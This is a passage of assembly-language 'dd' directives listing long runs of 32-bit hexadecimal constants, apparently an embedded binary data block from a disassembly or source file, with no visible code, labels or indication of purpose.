91D19E02h, 38249A79h, 11F8007Ch, 8160EE10h dd 8F0FE789h, 0C00ACDA9h, 9692A65h, 0BEEF0003h, 221401B0h dd 0C407CAB1h, 4907FDE7h, 0F177F9A0h, 29BA0087h, 9E90418h dd 431F89B2h, 0DB5EFE84h, 5E69B983h, 0BA88D819h, 0E72E0776h dd 9F3CA751h, 757D7CC0h dd 80600415h, 870CE520h, 11E213A9h, 26FC00B5h, 0CC562897h dd 0DC331800h, 9C59888Bh, 3F66073Ah, 61616591h, 3044CF69h dd 0B602A215h, 0FEF19801h, 0E6D84009h, 0D16C0326h, 0BBCD2544h dd 4F30B000h, 0FA4DB0BFh, 6CF40Dh, 0CD657A66h, 0AD1199A0h dd 18AC9C00h, 0F19EFFB8h, 3D8D0017h, 0D778E553h, 0BF2E684Fh dd 80E998Eh, 2F407EC5h, 0A069F534h, 3EF90094h, 16D492DBh dd 0B50CF709h, 98EB68D5h, 0EE820B7h, 67263007h, 2F44DBCEh dd 2DD09497h, 0EF50B88Eh, 2859BCFCh, 0EF818BBh, 0D34616FCh dd 0C82F51C0h, 5498AEDFh, 3E1DE298h, 0F589C232h, 976000E2h dd 61ECE514h, 751E682Fh, 0F83698CDh, 1F461821h, 80E7777Ch dd 0B98A38B7h, 70031C2h, 0D5BB2AF1h, 2924C0h, 37A43516h dd 86759742h, 33FEB900h, 6F1CF2A6h, 0B3DB13EDh, 6D300E16h dd 2D8B31F8h, 6C09C600h, 1424790Eh, 0E8E31F6Fh, 754C80AEh dd 0EB2768D2h, 1189721Eh, 3E387E80h, 0FA1330h, 8FA17B76h dd 9A1019E4h, 811B8E0Dh, 0B6DC2896h, 50604861h, 88C0E300h dd 0D63FF904h, 0DAA3A602h, 7DEBB2C7h, 370B4C60h, 72819F0Ch dd 16305Dh, 50B654A4h, 0A08B9B29h, 0B8DDC01h, 0E1EAB324h dd 1E86E5FCh, 4F360837h, 493DE38h, 4074BFCCh, 0A8D9CDEFh dd 5E631C49h, 91A50E88h, 29515C00h, 0CC4C5275h, 0DDD60014h dd 0CBAB8553h, 552300FBh, 192B28B4h, 2F0245E2h, 0B5EB9581h dd 86CC4810h, 7AD407FEh, 0F0552775h, 3C41EFDh, 0A209DC7Eh dd 6241B2h, 6ECE646Bh, 7B1200ABh, 0BEC67625h, 4B8BCECh dd 64163D00h, 14457444h, 1360160Ch, 89E000EFh, 9F80FEAFh dd 69ED800h, 0AABF655Ch, 0BCC100B9h, 78AD9A5h, 30EF8DCh dd 2061B89Bh, 0E6596CBh, 8FE300B2h, 5CAAF3C4h, 350088A2h dd 0A7D3B543h, 70CAD5h, 0DB6BD686h, 5E26C44Fh, 79A38B00h dd 0DA0390C3h, 0BC4C00DEh, 0C94D112Bh, 0CC3F6163h, 0DFFA879Ah dd 0EB907721h, 58C7711Ch, 7092873h, 58200BF9h, 0AA258379h dd 374E4A00h, 0A1EB9C84h, 8B713BE2h, 17D2BF80h, 0B3B81DDDh dd 49A3900h, 0E1761560h, 0CEF2FAh, 0AF949B41h, 4DF13C26h dd 0D001A400h, 0DB5743EDh, 0B99507C7h, 60891CD3h, 0E3656A0Eh dd 0A370B500h, 773AC807h, 0F2DA0E95h, 0A0A201B9h, 4CC88549h dd 20C8CD08h, 871198Dh, 35B8D3EFh, 0C1DC0A60h, 30BAE1CDh dd 0E236FE0h, 0D36D3CEAh, 3AD1F982h, 0E2A70068h, 5B83A400h dd 0A044E5DFh, 103C0033h, 9BB9AFF8h, 0D700893Ah, 0E082B719h dd 0A6A3786Dh, 0A4EA0E20h, 848C3B35h, 293F3CA1h, 0DAAC87F0h dd 4363BD38h, 0D8C5C3F4h, 66016E3h, 3DF6026Dh, 32789073h dd 0C250CE98h, 79513558h, 0F840864h, 0EAF708CFh, 0CD0014C4h dd 0B7D1FE01h, 0CFCA3BE3h, 0C6B8943Ah, 996F4D80h, 24469D41h dd 0F5865200h, 2E127987h, 579F3C2Ah, 0E283D301h, 0C4DBFCFBh dd 0E300F3A3h, 44E49EAEh, 4FA7B1h, 0CFE22E08h, 49F2B9C5h dd 0B8DF7300h, 0F8FACCBAh, 0F47600B7h, 0EAF3B1B6h, 9B00C3CBh dd 0CEC2E3ADh, 47EC30h, 6AAE3B6Eh, 0F9904A32h, 0D3FEFB1Eh dd 3EF4878h, 0EB14C7F1h, 0C82D9053h, 0F6BD00C3h, 45444E8h dd 0B60005E3h, 0CD3994E7h, 56A86DFh, 0F08F8C0Ch, 0CC8047ECh dd 0C748C74Eh, 9290C0A2h, 0BB1C7823h, 8A01F7A8h, 0B470A9E5h dd 0B2F688ECh, 0DB0A3EE4h, 0AE92CA82h, 40407830h, 0BCA80673h dd 1FF0D575h, 0DC4FE93Eh, 0F4A28584h, 21D7C002h, 3B0C8175h dd 0D2DC118Ah, 6A90039Dh, 0F3A0E73Fh, 0FFF690Ch, 0F850A9B9h dd 2C353A39h, 290A3400h, 0E6E1BF31h, 0F6AF21C0h, 167E75h dd 88085CB3h, 83B778F7h, 7F1F1B12h, 30CA0800h, 35E340Dh dd 0C3EB6D38h, 4107728Bh, 0F3249EB6h, 0C7BFE257h, 0D0B198BAh dd 0DBFC29A3h, 0FCB07FAh, 2DBBE7DCh, 0C89131A1h, 0E2252F9Fh dd 0CBF40013h, 1E85B752h, 871AA4C5h, 0B0D19240h, 7A7F21B9h dd 0CDE1F9C3h, 0B75000ABh, 9C3C4AC1h, 0D000179Fh, 0DDC6CB81h dd 8D6752h, 4F6571AEh, 0C1D40ECh, 3C4C3DE8h, 334B0304h dd 0AFC71FD9h, 5DF5AE30h, 0FFD002ADh, 0D2030E4Eh, 0FBB3407Dh dd 69A4005Fh, 67A63BD7h, 0BD00327Ah, 0C4C253F5h, 1CB5B1h dd 215C6EA1h, 22DAA883h, 0C5FA5805h, 42C0BE92h, 0F452D7A2h dd 97B50139h, 0DE4A4D94h, 14A8C0E8h, 0FE95EA00h, 0F678AB3Eh dd 0D2000DAh, 9A7F3DA2h, 2800BC7Ch, 8CA6170h, 16286E9h dd 4749D521h, 4060A594h, 0D07D50DBh, 716E1900h, 0D60A2377h dd 0F8C239BEh, 9D72E01h, 0E983888Dh, 22BF40B3h, 9B3D34C4h dd 0FCAF8006h, 0AD071264h, 3CB20058h, 1AD676A2h, 22E6DC6Ah dd 4B69FE00h, 9B048048h, 881903B4h, 1835ED92h, 0D337A0A8h dd 64111507h, 1BE0468Dh, 60B58Bh, 23E450E0h, 14594821h dd 0DBBE4000h, 789CFC54h, 75BF091h, 9212D83Ch, 0E4CF1048h dd 0A60F3F7h, 0BFA4295Ah, 4AF23Ch, 904931A9h, 1F540B6h dd 0E0937900h, 207D0430h, 77721CEEh, 8B9F9D64h, 0B500D5F2h dd 0F7BD2CFBh, 6DF5020Ch, 733483Fh, 0A08A7FD3h, 1234A323h dd 0F4EEFF89h, 3E176A96h, 11BC98CDh, 471917h, 0F1F269BFh dd 8C00D89Ch, 632D55BDh, 0F032DBDCh, 0B9C2003Fh, 0D5A3F7D0h dd 4C003C67h, 0CC446869h, 0F09645h, 0EF92DE91h, 1A07C331h dd 8E1D1500h, 0C8C52411h, 0BA130043h, 3B9CF229h, 40ED758Bh dd 4A4015B4h, 6092324Ch, 0B4F0B010h, 977D24B9h, 0E2CE0163h dd 70249AC7h, 0C878A831h, 5D55DB00h, 0BCFF0A96h, 9F190058h dd 0EB3BD67Bh, 609731AEh, 0A14222h, 7AE4907Dh, 0CEC8089h dd 0A58A9E00h, 3DA06A98h, 0F5120515h, 0F69DEDh, 7D805398h dd 0EB00AF5Ah, 841870B6h, 1C49934h, 31EBC73h, 40D4F927h dd 8DF479E0h, 967ECC00h, 7CCF3BFBh, 0B84602C1h, 8347BE17h dd 45886055h, 0F489FAEAh, 0F0F0486Ch, 8644007Fh, 118CF14Dh dd 661E2429h, 9B986348h, 131921h, 204AD46h, 971B2DD6h dd 9C822400h, 5AE4A967h, 58CA0088h, 0DD4FF6D7h, 0F0900A0Fh dd 0EE423100h, 62667574h, 11FD00A0h, 4D0B1B99h, 0EDF26554h dd 0D768B61Eh, 0D0CDC1C0h, 90F26BD2h, 55C60774h, 0FE06BE65h dd 9F62F160h, 72002F9Dh, 0B1DB5AA9h, 4742CE8h, 0CC7F9C67h dd 0D868C09Bh, 1C61B269h, 2A66D3A8h, 4DB98AD8h, 3C0314B3h dd 0E1E48C75h, 6EA2D800h, 0CD92D423h, 0ADD2A50h, 0C33150BCh dd 71890070h, 0C3D7538Eh, 0B9FCB801h, 95DE9800h, 0FAD4F71Ah dd 0B2E10064h, 0A46355BCh, 0A9001BA6h, 0ADF6B092h, 42D403h dd 0C280CF26h, 0CC93AC65h, 525E4C67h, 0B66F02E0h, 40990150h dd 844E77CDh, 9887EC56h, 0C764EB03h, 0F817437Eh, 0FAB106h dd 575BC494h, 4EDE583Bh, 5A9E9800h, 0FEB616E2h, 0D19F00CAh dd 0EB5D6A18h, 820014B4h, 0EFB13704h, 9A28E7h, 982D0AE6h dd 2FBA4232h, 0FC9B8700h, 0C83CA7EDh, 7C25E784h, 0E7CB9AAh dd 242165A1h, 90541624h, 67C4BDE4h, 9E037F00h, 12FCA9BBh dd 0EEC00198h, 5D31F30Ah, 7510D859h, 0A8B8C90Ch, 3350DCh dd 4F40B226h, 0F4962816h, 82A52001h, 7843D995h, 1701B833h dd 1FE07AD1h, 1E143435h, 5FF7A300h, 6A8F9166h, 4B70146Eh dd 9601DAA9h, 55C124C8h, 8DA88141h, 278B013Fh, 386BBB30h dd 7E3DE972h, 52105A89h, 94BC4C20h, 2113D451h, 5C407993h dd 97917718h, 8FD80558h, 0AB81C50Fh, 92CD1AC1h, 13AE1824h dd 5D94E3h, 5F285F8h dd 9A0FCC87h, 8E88663Bh, 0F15800E0h, 98D35F50h, 150B0020h dd 0E31FBE7Eh, 18000536h, 0D601DF0Eh, 60788E94h, 65F32967h dd 2B0DC6DAh, 0A9AC27CBh, 1E9E93DCh, 41902D23h, 0A710EF3Eh dd 171AE0BDh, 0F30195FEh, 4656A421h, 208039CCh, 0B45F5991h dd 202FAE0h, 8BD744B0h, 0EE1C406Dh, 86A0001Eh, 0ED7F0FC5h dd 4600DF43h, 0EDB4D5Ah, 0D14E5Dh, 0FE414B62h, 16CBE782h dd 811F573Fh, 481877E6h, 41F09065h, 11DC5Eh, 3C0B9F81h dd 0ED00FDC9h, 4F5CD60Fh, 7BE744h, 0FEBE50C2h, 95633441h dd 39C193FAh, 1CE6D20Fh, 3E9B30h, 24A80931h, 5FC0DBFEh dd 80685038h, 0CFCAF525h, 0CAF12B6h, 0C9DC45A8h, 0D3034C20h dd 0F148F77Ch, 5E3080DBh, 4331000Dh, 7A197765h, 4B00246Ah dd 0DE9AECC8h, 9B7D581h, 74CE4127h, 0F9586000h, 0F3BFDD8h dd 0BF800023h, 1D961BE6h, 0BB650056h, 0E3171150h, 92009E60h dd 0C7C33DF3h, 1EBF0773h, 9E10E6E4h, 8F05FF6Bh, 802F4106h dd 0AE7B43B6h, 30A31D07h, 0F70E016h, 5513A8h, 0E26E4708h dd 0C0A70CA1h, 801ED83Dh, 0B825DFA9h, 0FC3FF985h, 0C73B0E33h dd 9A200CC3h, 0BB58782Ch, 18042F72h, 0E28D3E4Fh, 7B6C8780h dd 15940B0Ah, 0CAD03086h, 9EC0ED12h, 0DF82A833h, 31BD0039h dd 0F413F7h, 0F24411B5h, 34D50809h, 7F804C00h, 0B6D9B1C0h dd 47D3001Dh, 96E7FCC4h, 7006217h, 0CB45D8F4h, 0CA6D6Fh dd 0D51DC5Fh, 0ECB4270Ah, 93869700h, 0DBA4034Eh, 6301FE1Bh dd 3717713Fh, 0B64A0800h, 1C071348h, 0F0E3E810h, 1818DE28h dd 0A25D1018h, 0F078F640h, 99BB0010h, 50FD0234h, 0A00B244h dd 0E4429715h, 6C45BD0h, 8B6F5338h, 0C3506007h, 789F74DAh dd 0D95918F5h, 5A5D70B3h, 0F5FE1290h, 72484960h, 3B195773h dd 0FD80D5B4h, 3A761BABh, 0FAECA211h, 0FFCD250Ch, 7D2086h dd 2E580334h, 0F85A9AE5h, 53972F00h, 36377F74h, 691F1323h dd 0F16918BFh, 0FEFA7A63h, 860712B0h, 16C8B85Ch, 0DCF12380h dd 38900043h, 39BA91F9h, 7F3EF44Bh, 6785002Eh, 41508ED8h dd 0E8CCF39Ah, 0C660018h, 0B371CC1Bh, 1F00E586h, 64D275ACh dd 0B58D8Bh, 0DA5B7A52h, 0B9770B15h, 0C8CA1D3Eh, 0DC16094Eh dd 0C86200B3h, 317FF2h, 8C1424D1h, 22478BEBh, 280F660Fh dd 0A1F8204Eh, 0C7185Dh, 0E78E646Dh, 34C23E2Ah, 5E2848h dd 14A1BE9Bh, 2DB34Bh, 92104C2Ch, 6D2AFACCh, 1E52791Fh dd 0ACD4F280h, 5CA3D9Bh, 0CB74C535h, 4295C05Dh, 2509E810h dd 80023F3Ch, 5F17C168h, 0A66700D4h, 0C8B5862Dh, 0D300F6F7h dd 2E2F6A1Ah, 8834C0h, 23DF31BCh, 9A825FBEh, 1C0DB50Eh dd 0DDEA406Ah, 446B924h, 0AFCB48A4h, 2E08014h, 0F500FADEh dd 89FF1AF0h, 1E864BCh, 3EA67CC4h, 0EC4E05E4h, 0EB589C4Ch dd 0BEF3019Ah, 6AB39F33h, 0C830AAC9h, 0E865002Eh, 0FE2B1CE1h dd 0DF0E49B9h, 0E17DC75Bh, 4637A4A2h, 78552B60h, 0F0A02D7h dd 78EAB773h, 489E060h, 6D037D07h, 0E50008F1h, 6013074Ah dd 0A89D21FDh, 2E23984h, 0A90021ECh, 0D7E22CAh, 0E47A063Fh dd 0F69476E0h, 85C707C1h, 30F83D10h, 96A4C2C0h, 7945910Fh dd 0E0B66F76h, 8C48E5DAh, 0D5EF0061h, 27159FDBh, 6D01D07Ch dd 4CCF9BADh, 84702E8Eh, 0E8A200D5h, 0E630F4D7h, 73009D32h dd 53CEC8A8h, 488608h, 882E61E3h, 0BB6692A3h, 6B291B00h dd 5CEA7A89h, 8CA15DD8h, 32700B0Eh, 0E3C2065Fh, 0A001D8C8h dd 0F612EDE6h, 7DDC7C61h, 4DFC0FA6h, 0F0CB3EBAh, 12CE9C00h dd 4375E867h, 0F62EDAB0h, 0D980B4F5h, 628871F3h, 0EB51018Dh dd 128796DFh, 1F32C4A7h, 678E1C00h, 515A6E7Dh, 26D11DE9h dd 0AF3140E0h, 669B9C09h, 0FD3C6B01h, 68232DF3h, 54985C80h dd 62091044h, 9F1D2871h, 0E3E687CFh, 0C17ECD00h, 72B9044Ah dd 66F26Ch, 0A672C3F0h, 39BC4C0Eh, 58E5A100h, 33924F03h dd 0CBDF1441h, 0D600D386h, 0FAAA523Bh, 39EA9F20h, 0D28D660Eh dd 69C07F3Ah, 0A95643CAh, 0BE8700ECh, 0A8B205B4h, 5C004D31h dd 93580737h, 0A527BB3h, 4F81D718h, 8C390488h, 20E51E4Bh dd 8358DB98h, 0B885000Dh, 9DC5E2A7h, 46031C38h, 636FDECAh dd 0F5E7F05Dh, 747AD0h, 3EB28323h, 0E5A41173h, 5F2AEB02h dd 5895EA2Bh, 20E70008h, 1D883C6Fh, 92001BAFh, 0DCA42ABBh dd 0F3B87h, 3DB837BAh, 774C35BEh, 5B892F00h, 55C2EDD3h dd 4941015Dh, 0F364C694h, 63B888AFh, 0C6989C51h, 40B26B76h dd 0F003093Ah, 0EA00D0EAh, 0E761B922h, 90F11C31h, 46BD0008h dd 8A93F926h, 0CA58C055h, 0C5E18024h, 1D15B54Dh, 0EC40336Ch dd 0B3BE0EFCh, 692DA701h, 0BFC4205Dh, 79012A77h, 6307844Bh dd 0C43449EAh, 0F2A60092h, 7E9EF04Fh, 0BDFE4390h, 5989DA5Ch dd 6CD112F4h, 736F6400h, 0E7D0B5Dh, 71B7501Bh, 95E22542h dd 0CEB0FD7h, 9330EBh, 0A3742223h, 0F95FE127h, 0D400A974h dd 10EE0CDDh, 1F358B6h, 118DF807h, 608587FEh, 13023E66h dd 6C692E6Fh, 0CB9F60BCh, 1738F4E0h, 6258FFh, 125FBC8h dd 80003322h, 0C7BF2931h, 6DB2DCh, 0A0B50267h, 0BBE9152Ch dd 2E2E86FEh, 7100B1ACh, 90DE751Ah, 55810087h, 21EB7F39h dd 0A2002CF6h, 6449C468h, 30D458C7h, 0AAA041C3h, 1800DEE8h dd 522EDC2h, 3B9291A0h, 84007EDAh, 0BF1C713Bh, 21592EFDh dd 283304DCh, 0CC878ECBh, 1870CB0h, 628D0006h, 434044AEh dd 9E012703h, 5642D782h, 0E270E5FFh, 0E461385Dh, 5239780Eh dd 3F5B40FFh, 1ED6ECE9h, 0CDED6C00h, 538FEBAFh, 57105DBh dd 0E14C14h, 5FDDAE88h, 12072F1Ah, 0B72427C0h, 2DA91DCh dd 986354C4h, 448ACD9h, 0A218048Dh, 0DA1168C0h, 8E90003Dh dd 0D734D15Bh, 7E0FBB7Ah, 806D2B8Ch, 15DEEB53h, 0CF39F056h dd 73E20F30h, 6449913Fh, 0B0B82843h, 0B0CD09Ah, 0BA1DDAFh dd 0B6611848h, 0AA5B6C00h, 651D29D1h, 0A9A20079h, 10EDD689h dd 200005D4h, 0D00BF46Dh, 810A70h, 0D999A9DDh, 718042C8h dd 0FF59F307h, 0E561A32Bh, 69D4D535h, 0B1C7593h, 53626487h dd 12C21180h, 2903C633h, 5BAF3ABBh, 0D08F808Ch, 2A670120h dd 35FF5AC1h, 5255609Ah, 22FB9D00h, 0E97DAB64h, 0C4AC00BCh dd 593A0692h, 0F60E43B5h, 80C3BFB8h, 97B62EA3h, 4D769Dh dd 0A7890FF7h, 0A1EACC60h, 4822D900h, 0C73B5D2Fh, 278B0041h dd 762894DDh, 420008A2h, 0B7A422EEh, 3989F70h, 0FE0F7ECCh dd 57B832B3h, 0FB006097h, 1E356E23h, 7140736Dh, 79E37066h dd 10B0072h, 0A9142544h, 6AE0B05Ah, 0ED53E00h, 0F91631D6h dd 112C1EF0h, 0C94841F4h, 0C62ECA4Ah, 0FDD920E3h, 0DDC5005h dd 100D577h, 1FA2DC9Ch, 2B53D1h, 0A86503FCh, 76F3E444h dd 58784316h, 0DB8ABF00h, 0BD061Bh, 1DE2DEACh, 81D9C14Ah dd 0A51324EEh, 0D8809255h, 0B0768BFCh, 51EB00AAh, 0B7C679FAh dd 7524C9EFh, 0B2809448h, 65E240E7h, 0EEFC0013h, 9727241Dh dd 0C4094645h, 48B5BFD3h, 0A03BCB14h, 0E0ACE1Ch, 2B74F1Fh dd 0D382C28Eh, 108271C9h, 1C80EBBCh, 5B1D8EBDh, 36C43Ah dd 4F41A852h, 2B4103Ch, 0A4E4E0C3h, 8440B635h, 3D00D9BCh dd 0CC5521EEh, 2E2CC027h, 0A8357h, 5EF21C63h, 0B575C708h dd 2CB41E3Bh, 6F80C8F3h, 0F73CBC29h, 1D0603C3h, 0CA9B0B88h dd 807C2842h, 70B640CFh, 2E071D13h, 28111478h, 372CEE80h dd 0DC02F824h, 42BF167Ch dd 4AD580CCh, 0D73178h, 2D0EAEBCh, 24409E5Dh, 0B518AC00h dd 0E7E99D04h, 0C134004Dh, 692561D2h, 45006A97h, 0F5672EDDh dd 57964Fh, 7D7BF005h, 619E723Bh, 60036226h, 0CA700448h dd 0B3DE00B6h, 0B1AC5A22h, 4D0095F3h, 0EFF74BD7h, 0FE9B29Bh dd 1DD9115h, 4707A740h, 0FC0C19DAh, 4836F5BEh, 1BB700C3h dd 80385F15h, 7B03624Ah, 474601EEh, 6FCAD845h, 3121C003h dd 4DC34E63h, 8420BF53h, 74601891h, 63EC3CB9h, 93B93260h dd 0E14B459h, 3F12881Ch, 8F0809D9h, 4041F321h, 0CCB1FBE5h dd 0FC1A020Dh, 0D4C54B6Ch, 0E517C890h, 8E567100h, 763D96EFh dd 2008C9FFh, 0D51A420h, 6D007372h, 0F0BCD89Fh, 28831A1Bh dd 6904E82h, 0A38040FFh, 0B23DB80Eh, 0BDFE0CFDh, 30084155h dd 199130B8h, 0C21552CCh, 3EBC15EFh, 3AD90C57h, 211113Dh dd 0B76A8A5Ch, 5C411F5Ah, 1A089832h, 1F447221h, 0C0C2258Ah dd 0F39B5AA8h, 59E81C74h, 0C905260h, 60BD0346h, 3A8C8115h dd 819711Ah, 3C89FDCAh, 0B25100CBh, 0F585E407h, 2800EC79h dd 72F909C6h, 0F43A594Ch, 2830E84Fh, 15F87F5Ch, 0C0463CB8h dd 11B44480h, 1343401Ch, 0F43D8F22h, 0A075004Ch, 0B0B6C579h dd 0BC2F0356h, 43D19B19h, 0BD00B074h, 3DD32A5Bh, 2449B4F6h dd 13348F20h, 0DF989063h, 8800E0C9h, 0DBFFB555h, 310BFA54h dd 3C711A66h, 54D1AC37h, 0FCB1A300h, 94E2EF5Dh, 0DF383024h dd 1D12F6C1h, 240812F3h, 0B453C061h, 0B8461BE6h, 0F53DA922h dd 7743005Bh, 0F25E8EB9h, 35760BC4h, 4D863172h, 0E13FB095h dd 20EF2732h, 0FD4E2AF8h, 0AEC40657h, 81CBF328h, 0CE214D6Fh dd 2B6740C5h, 148DAF46h, 841093B0h, 26CB8000h, 2E4BD5D8h dd 1B6DC87Ch, 44E9C918h, 0C01A3360h, 7478EB49h, 1D00260Fh dd 45B4EAC5h, 4F36A67h, 0ABECACF5h, 0C07080D3h, 48C515C3h dd 9820063Ch, 1671745h, 870FEC93h, 0C866686Eh, 63481B73h dd 0C3AF8018h, 2EE011h, 42239744h, 0BDF5665Dh, 8571321Fh dd 7D5CE7C0h, 902D77B8h, 4427C84h, 0F2D425C2h, 0E1FB004Ah dd 1E46B42Ah, 0C0AA88D9h, 2606EFCDh, 4C0C6B11h, 7105C008h dd 0A102603Ch, 2151E5AFh, 0EF284800h, 1E27C36Ch, 0D69A0199h dd 9867EC05h, 62AC51C2h, 0A4418002h, 700145ADh, 6760053h dd 0F9AA1C88h, 3F01A578h, 35E103ABh, 3183FF64h, 0E914300Ch dd 261D5CC0h, 83BAB300h, 0F6B54CC8h, 29016163h, 0F0FEBBEAh dd 2800DD7Eh, 2C164F04h, 40FF2D3h, 761820BCh, 4720D08Eh dd 0FA00C0DBh, 6F4EC7E3h, 388FC08h, 0AFCB62F0h, 0F8045F5Ah dd 3B0CF76Ah, 85900CCh, 62B74D8Ah, 8B4018C4h, 8FBE8A60h dd 8714C2E8h, 0B81703h, 2E3C8D47h, 901DF1FBh, 4D6D72ACh dd 88174C8h, 0FE8E5372h, 1042071Ch, 7182F372h, 8706D730h dd 0A343C719h, 0CAB068E7h, 2EE8BB4h, 0A0C149ABh, 410D54h dd 0C079E4D1h, 0EF06E27Ah, 10B4FE3Dh, 443C9041h, 0CC042E32h dd 14BBD08Bh, 0F6D17488h, 0C1B1C8D6h, 5A7211C0h, 970F218Eh dd 35001F91h, 0E48F71D9h, 55762B38h, 1070CC00h, 17B7C1EEh dd 0D48CA013h, 6331C001h, 96530FB4h, 5792E102h, 81854AF8h dd 0C4E7814h, 19D04860h, 0A06CCFBDh, 76B98234h, 892065CBh dd 8C9C90ACh, 9C8905Ah, 5B32E2E0h, 0FD4DFC30h, 0A6C45811h dd 0FC9F4E88h, 0EB8EFD42h, 12A540C3h, 0D993191Ah, 60566024h dd 12846B94h, 0B09EBF08h, 9B181A3Ch, 8C282BEDh, 19A334C0h dd 446882A8h, 8B45A30h, 13501C07h, 0F247AC64h, 4BC7A042h dd 537AD3BDh, 2126B1EEh, 0DF0C649Bh, 2337111h, 1A59B806h dd 2C4641CBh, 2171A099h, 0CE5C5918h, 710E00CCh, 8C1F0BD8h dd 0F6550B6Bh, 3882E28Eh, 15214C05h, 6181B3B8h, 0DFBADCE7h dd 2146661h, 40923FC5h, 39E300FBh, 0C12EA02Fh, 0F3BB8B3h dd 0C0144274h, 46A9986Ch, 313B2865h, 46B898A8h, 8A5D02D8h dd 3142B769h, 457F1005h, 91D1008Ah, 0D5BAFE6Dh, 4705A7ADh dd 44D4BD6Eh, 9FFB04C0h, 0D9012CE9h, 4D6D086Ch, 44465D01h dd 845008D4h, 0E0A90BB7h, 36613B8Eh, 0D7068C80h, 60BB5CADh dd 6C589D2Ch, 68C0F61Eh, 0C213481Ch, 7A830D43h, 0C8E83380h dd 0DC0226B3h, 91931C59h, 869C40F9h, 6EC224EBh, 84E1848h dd 4C12547Dh, 384043EFh, 0ED35BF70h, 0DADD00F9h, 8F4D1145h dd 1AF8B08Bh, 48502092h, 48CC4ECh, 8E477214h, 200362F7h dd 0FB71DC36h, 0C91BC05h, 0D88C8110h, 8016433h, 7098883Bh dd 0E5F5AE00h, 0C2DB5950h, 0C0149842h, 0FB9BF9A1h, 88907B2Bh dd 68019490h, 0E4165944h, 71800BD4h, 65BE880Fh, 8D018F05h dd 97A71DC2h, 625F47h, 0CA32C105h, 0DF488E5h, 12F0D090h dd 3B8C6B50h, 95FB1C0Ah, 0F805D038h, 805F87ACh, 2A187024h dd 0FE9C5B19h, 28F0BA21h, 3314A88Ch, 76D1343Ch, 0C0D86280h dd 7EB62858h, 2C27782Eh, 0AC4674h, 67F06A2Dh, 14B77B10h dd 0F8370491h, 915733Fh, 8E0680FFh, 880203C8h, 1289760Ch dd 957182Bh, 0CA77684Ah, 87E94040h, 442E2896h, 0A4C3B08h dd 80B81BEEh, 2CE1720Ch, 0BB000ABEh, 6489959h, 50B1DDFh dd 0FB7E73BDh, 0C84C8B57h, 46E1C005h, 8D166B71h, 0D066ACEh dd 7EC102D4h, 5D6900FAh, 4D8373A9h, 55001BDDh, 6CE3131Ch dd 0F0572C7h, 0D02DDF7Dh, 69E8172Ch, 0F5100901h, 705357B8h dd 0EBF2F880h, 0C1F75FA6h, 27B673Ah, 81CA385Eh, 0CBE1246Ah dd 0C053C8C8h, 6891D58Dh, 3B58ECEAh, 0B7B380B8h, 1F9F703Eh dd 40C0A2C3h, 0A7E995BDh, 88909463h, 0CAEFB501h, 1A374FB7h dd 8218C060h, 0A7D5D040h, 830EB48h, 5299993h, 0D70BB08Eh dd 0E89C0E8h, 370088DDh, 1475CA6Ah, 2768D8Ch, 9DEA2949h dd 8CC56CA6h, 83601DE4h, 500804Fh, 1BFF2410h, 0C1514593h dd 67C02E80h, 242229h, 69BBDCF2h, 13AA84F7h, 10EAE0Bh dd 39F1D7F8h, 8BD0DC4Bh, 0A586350h, 0DBB7C412h, 0BC0878C4h dd 0D1749B92h, 3524C0BFh, 592803DEh, 768DF7Ah, 9D089040h dd 64470B4Dh, 0E859D890h, 560DDA00h, 0F29DD3C7h, 0B4F1019Eh dd 858375BDh, 0C41E70A0h, 711DFE00h, 0B23120C2h, 878C987Dh dd 604664F8h, 0E15C0Dh, 0A59B123Bh, 882A071Bh, 0A8235Dh dd 0A23FE669h, 0FA9B950h, 0CC03E7A8h, 4F8D1D4Fh, 0A2982318h dd 0C4AF30CAh, 0EDFE541Ch, 5C7C1307h, 9B50029Bh, 0C56B041Ch dd 0BE948154h, 72B1814Ch, 8B0C221Ah, 0D957E820h, 18C28051h dd 45720512h, 0CB97078Eh, 0DA3400F0h, 0CBBB7571h, 0B5A0A0CDh dd 765C9691h, 0F4005246h, 0A4DF0488h, 0E4A49C64h, 29523Bh dd 93C28F69h, 309236E8h, 0C468F8ECh, 6CBADF6Fh, 0AEB6CA00h dd 0A9E9BDD5h, 4B20C104h, 0CC7437A8h, 18901FFFh, 1DAD3300h dd 0B6B5C1DBh, 82DF7AB4h, 0C651D841h, 0C0C87A00h, 0F07E97h dd 135BCD2Eh, 28F9F3B2h, 0EE0528BAh, 0B3444105h, 46212038h dd 17B927ABh, 9FAB1174h, 0A88DD082h, 85B841A3h, 8B8C02F2h dd 0B7E644C0h, 0F2D5721Fh, 7E58579h, 1CA0F464h, 0D41A00D0h dd 31EF9568h, 0FF071B99h, 7E9FE50h, 80974672h, 64B69BCFh dd 0A8570056h, 1A40CF42h, 13001948h, 7054E4CEh, 0C34DA1h dd 6FAA1B6Dh, 7B4AC73Bh, 40801E4Ah, 8A5EBDh, 7405C8C3h dd 75447243h, 651D8D01h, 0AE7B9467h, 0D17EE4h, 40630917h dd 51E52BBEh, 0F7B63009h, 0C8D034h, 72EECE85h, 0D74637F0h dd 0BE50FB00h, 0F7D1E0C2h dd 3FB2E63Bh, 0B000CFC6h, 4AD601BBh, 4101B579h, 0FA178BC0h dd 57D0A15Fh, 8C8E00F3h, 3A4CD9CBh, 0E8005690h, 0DE2ACAD5h dd 0F51609h, 387FFBA4h, 0F7AD7E46h, 28A3640Eh, 3E77E0C3h dd 0F22F9968h, 0D4891402h, 3F12B886h, 0B130B031h, 6490CB00h dd 0AA45F27Fh, 67630320h, 5B7F95Bh, 0C13BFCE0h, 0E5E31207h dd 0F02994A8h, 0C7EE2678h, 0ADAB0778h, 0A283A21Bh, 0FE4F8850h dd 90B5A0C0h, 26A900DCh, 0CCCD29E8h, 7201F68Ah, 0ACFD597Bh dd 0F880C467h, 6113A1AFh, 1101F02Ch, 7C8AF8F5h, 68803F73h dd 0AC6078EFh, 0A90FDEEDh, 0B0B9E927h, 0F09F3313h, 5A77200Ch dd 0D89A1307h, 5FB03211h, 4B43A8D0h, 0A890C492h, 90804B28h dd 2F8D82F8h, 0D48065B0h, 0C56EDDC7h, 425FDBE6h, 2B80081Eh dd 0D9D424F9h, 0ED3500A5h, 3AEE3BB6h, 8413EF86h, 50E4F3CBh dd 0C6D40F9Eh, 5A4ED87Dh, 0BE0E5CFh, 894FB17Ch, 5844F612h dd 0CC60A0h, 3E027917h, 57228437h, 1967D709h, 1F2CF094h dd 80B3C448h, 654A5DB7h, 5300B461h, 812FE0EFh, 0EC3913h dd 954B9CA3h, 87BBDD50h, 964F5C9Ah, 9D9888h, 18F7C5D5h dd 0DE7BEA01h, 